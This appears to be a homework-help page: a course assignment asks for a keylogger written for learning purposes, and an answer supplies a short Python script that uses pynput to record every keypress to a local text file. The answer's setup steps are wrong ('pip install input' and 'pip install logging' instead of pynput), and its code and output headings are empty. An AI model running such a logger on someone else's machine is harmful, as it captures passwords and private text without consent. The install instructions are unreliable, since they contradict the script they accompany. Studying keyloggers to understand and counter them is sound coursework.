Question

Write a software key-logger and test it while you fill out a web form or type in the contents of a document using your favorite document preparation software. You can use Java or Python to do this assignment. C and C related programming language is not allowed for this assignment. Hints: You can find a demo and API for key-logger hook in the following link for JAVA. https://github.com/kwhat/jnativehook

This project can only be used to learn how to use JNI library and how to use APIs in the project. You will receive 0 if you directly copy code from this project.

Instruction: 1. You can use Java or Python to do this assignment.

2. Your work should be compressed to one file as “CampusIDA2.zip”.

3. Your program should be runnable without any error or exception. Any program has errors or exceptions will receive 0 as grade.

4. Please write comments (includes meaning and function of current line) for each line of your code. The comments worth 50% credits.

5. Include comments at the top of your code indicating that you will not use this program for any malicious activity. The goal is to understand some of the tools used by criminals so that their actions can be prevented or minimized.

Answer 1

Solution:

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Simple keylogger in python. This keylogger works on the module input and logging, You have to first install it in your computer with

• pip install input
• pip install logging

keylogger.py

# Requirement

# pip install pynput , logging

#

from pynput.keyboard import Key, Listener

import logging

logging.basicConfig(filename= ("recorded_steps.txt"),

level=logging.DEBUG,

format='%(message)s'

)

def keyboard_hit(key):

logging.info(str(key))

with Listener(on_press=keyboard_hit) as listener:

listener.join()

code:

Output:

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